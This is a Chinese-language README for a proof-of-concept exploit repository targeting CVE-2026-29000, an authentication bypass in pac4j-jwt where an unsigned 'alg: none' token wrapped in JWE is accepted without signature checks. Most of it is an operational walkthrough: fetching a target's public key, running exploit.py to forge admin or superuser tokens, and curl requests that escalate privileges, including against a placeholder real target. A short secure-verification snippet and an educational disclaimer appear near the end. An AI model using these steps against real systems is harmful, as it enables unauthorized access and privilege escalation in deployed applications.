通过 JWE 包装的 PlainJWT 绕过 pac4j-jwt 中的 JWT 身份验证
CVE-2026-29000 是一个严重的安全绕过漏洞,影响 pac4j-jwt 4.5.9、5.7.9 和 6.3.3 之前的版本。该漏洞允许远程攻击者伪造身份验证令牌并绕过签名验证。
该漏洞存在于处理加密 JWT(JWE)时的 JwtAuthenticator 组件中。当收到 JWE 令牌时:
exploit.py - 用于生成恶意令牌的 Python 漏洞利用脚本vulnerable_server.py - 模拟该漏洞的演示服务器requirements.txt - Python 依赖项README.md - 本文件# 克隆仓库
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# 安装依赖项
pip3 install -r requirements.txt
python3 vulnerable_server.py
服务器将:
server_private.pem 和 server_public.pem)在真实攻击场景中,从目标服务器获取公钥:
# 从 JWKS 端点下载公钥
curl http://target-server.com/jwks > target_jwks.json
# 或直接使用公钥端点
curl http://target-server.com/public-key > target_public.pem
对于测试服务器:
curl http://127.0.0.1:5000/public-key > server_public.pem
使用漏洞利用脚本创建 JWE 包装的 PlainJWT:
# 基本用法 - 以管理员身份进行身份验证
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# 以具有多个角色的特定用户身份进行身份验证
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# 添加自定义声明
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# 将令牌保存到文件
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# 设置恶意令牌(从 exploit.py 输出中复制)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# 访问公共端点(应正常工作)
curl http://127.0.0.1:5000/api/public
# 使用恶意令牌访问用户端点(绕过!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 使用恶意令牌访问管理员端点(权限提升!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
管理员端点的预期成功输出:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. 安装依赖项
pip3 install -r requirements.txt
# 2. 启动易受攻击的服务器(在终端 1 中)
python3 vulnerable_server.py
# 3. 在新终端中,获取公钥
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. 生成恶意管理员令牌
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. 将令牌提取到变量中
TOKEN=$(cat token.txt)
# 6. 测试公共端点(基线 - 无需身份验证)
curl http://127.0.0.1:5000/api/public
# 7. 测试用户端点(应使用我们的恶意令牌成功)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. 测试管理员端点(漏洞利用成功 - 应访问受限数据)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. 验证响应中包含标志
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: 生成恶意的 JWE 包装 PlainJWT 令牌
options:
-h, --help 显示此帮助消息并退出
--subject SUBJECT, -s SUBJECT
要冒充的主题(用户名)
--roles ROLES, -r ROLES
逗号分隔的角色列表(例如,ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
RSA 公钥 PEM 文件的路径
--claims CLAIMS, -c CLAIMS
作为 JSON 字符串的附加声明
--generate-keypair, -g
生成测试 RSA 密钥对并保存到文件
--output OUTPUT, -o OUTPUT
生成的令牌的输出文件
1. 客户端发送带有签名的 JWT
2. 服务器使用公钥验证签名
3. 如果有效,提取声明
4. 根据声明授予访问权限
1. 攻击者获取服务器的 RSA 公钥
2. 攻击者创建具有任意声明的 PlainJWT(alg: none)
示例:{"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 攻击者使用服务器的公钥通过 JWE 加密 PlainJWT
4. 服务器成功解密 JWE
5. 服务器提取内部 PlainJWT 中的声明,但未进行签名验证
6. 服务器根据伪造的声明授予访问权限
该漏洞之所以存在,是因为:
def verify_jwe_token_secure(token, private_key):
# 1. 解密 JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. 解析内部 JWT 头
header = parse_jwt_header(inner_jwt)
# 3. 关键:验证算法不是 "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. 关键:验证内部 JWT 的签名
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. 仅在验证后提取声明
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# 一行设置和测试
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
此工具仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法的。仅对您拥有或获得明确测试许可的系统使用此工具。
MIT 许可证 - 仅用于教育目的
安全研究员 日期:2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}